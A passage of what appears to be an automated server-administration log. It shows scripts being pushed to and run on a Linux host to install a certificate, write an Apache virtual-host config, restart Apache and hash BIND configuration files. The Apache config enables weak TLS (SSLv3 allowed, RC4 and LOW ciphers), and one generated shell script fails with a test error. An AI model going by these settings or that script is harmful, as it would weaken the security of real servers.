NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-31 19:39:24: 

chmod 755 /tmp/pkp380562; /tmp/pkp380562; rm /tmp/pkp380562

2025-12-31 19:39:25: 


dir=/etc/ssl/certs


2025-12-31 19:39:25: 

PUT: /tmp/pkp699749

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_home_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf= 1'
fi


2025-12-31 19:39:25: 

chmod 755 /tmp/pkp699749; /tmp/pkp699749; rm /tmp/pkp699749

2025-12-31 19:39:25: 


/tmp/pkp699749: line 60: [: !=: unary operator expected




STDERR:
/tmp/pkp699749: line 60: [: !=: unary operator expected


2025-12-31 19:39:25: 

PUT: /tmp/pkp476049

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-31 19:39:26: 

chmod 755 /tmp/pkp476049; /tmp/pkp476049; rm /tmp/pkp476049

2025-12-31 19:39:26: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-31 19:39:26: Establishing a connection
2025-12-31 19:39:26: 

PUT: /tmp/pkp419057

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 19:39:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp419057; rm /tmp/pkp419057'

2025-12-31 19:39:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 19:39:50: Establishing a connection
2025-12-31 19:40:00: Establishing a connection
2025-12-31 19:40:00: 

PUT: /tmp/pkp668978

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 19:40:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp668978; rm /tmp/pkp668978'

2025-12-31 19:40:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
